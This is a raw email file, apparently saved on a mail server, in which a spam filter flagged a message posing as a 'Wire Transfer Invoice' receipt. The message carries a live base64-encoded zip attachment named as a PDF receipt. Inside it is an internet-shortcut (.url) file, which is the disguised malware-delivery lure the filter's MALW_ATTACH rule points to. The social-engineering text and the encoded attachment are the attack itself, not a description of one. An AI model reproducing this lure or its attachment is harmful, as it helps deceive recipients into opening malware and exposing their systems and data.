Google
Edit File: 1774958833.M584636P1419185.server-619288.prediksijaya.com,S=4774,W=4876
Return-Path: <info@letsexperiment.com> Delivered-To: angker+spam@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id JNZsIvG4y2mxpxUAf7/9AQ (envelope-from <info@letsexperiment.com>) for <angker+spam@server-619288.prediksijaya.com>; Tue, 31 Mar 2026 19:07:13 +0700 Return-path: <info@letsexperiment.com> Envelope-to: winbr@ponjosonek.com Delivery-date: Tue, 31 Mar 2026 19:07:13 +0700 Received: from host217-42-43-198.range217-42.btcentralplus.com ([217.42.43.198]:61885 helo=letsexperiment.com) by server-619288.prediksijaya.com with esmtp (Exim 4.99.1) (envelope-from <info@letsexperiment.com>) id 1w7XsG-00000005x6O-2cli for winbr@ponjosonek.com; Tue, 31 Mar 2026 19:07:13 +0700 From: Diann David <info@letsexperiment.com> To: winbr@ponjosonek.com Date: 31 Mar 2026 13:06:14 +0100 Message-ID: <20260331130613.8E019BC1975A1582@letsexperiment.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_A3C9BFA8.D925404D" X-Spam-Status: Yes, score=6.6 X-Spam-Score: 66 X-Spam-Bar: ++++++ X-Spam-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Please view the attached wire transfer receipt. Paid on - Monday, March 30, 2025 10:23am Best Regards, Diann David 2742 Edgewood LN lakes Charles LA 70605 Content analysis details: (6.6 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 RCVD_IN_DNSWL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to DNSWL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block for more information. [217.42.43.198 listed in list.dnswl.org] 0.5 JMQ_SPF_NEUTRAL ASKDNS: SPF set to ?all [letsexperiment.com TXT:v=spf1 include:spf.mandrillapp.com ?all] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [217.42.43.198 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [217.42.43.198 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [217.42.43.198 listed in sa-accredit.habeas.com] 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 2.6 RDNS_DYNAMIC Delivered to internal network by host with dynamic-looking rDNS 3.5 MALW_ATTACH Attachment filename suspicious, probable malware exploit X-Spam-Flag: YES Subject: Wire Transfer Invoice. This is a multi-part message in MIME format. ------=_NextPart_000_0012_A3C9BFA8.D925404D Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Please view the attached wire transfer receipt. Paid on - Monday, March 30, 2025 10:23am Best Regards, Diann David=20 2742 Edgewood LN=20 lakes Charles LA=20 70605 ------=_NextPart_000_0012_A3C9BFA8.D925404D Content-Type: application/zip; name="W722524373_Receipt_Pdf.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="W722524373_Receipt_Pdf.zip" UEsDBBQAAAAIAJQ7flwEY2QjvgAAAAoBAAAaAAAAVzcyMjUyNDM3M19SZWNlaXB0X1BkZi51 cmxFj00LwjAMhu+F/ozclK37SKlQUPeBwx1kQ3YYHkQmDmSVWQUR/7ttVcwhvHnzJCFtMehu HDpdn9SoDze9o2RblfLYn7uZ5wFmgAwwBYwBIwhS4CFwowXwyJqmtCZ3WAK4/JPIgQfWt6Rw ZGa1MbkADB2fu20GQFcyNxJb0gK5OT2v69JL9/emaSqltOeGTQMpKdKyv2pJyUrpdfeQIQaM kvbp+37AooU/NeKbkp/6RIQv8+lmVJdQMjERlLwBUEsBAhQAFAAAAAgAlDt+XARjZCO+AAAA CgEAABoAAAAAAAAAAQAgAAAAAAAAAFc3MjI1MjQzNzNfUmVjZWlwdF9QZGYudXJsUEsFBgAA AAABAAEASAAAAPYAAAAAAA== ------=_NextPart_000_0012_A3C9BFA8.D925404D--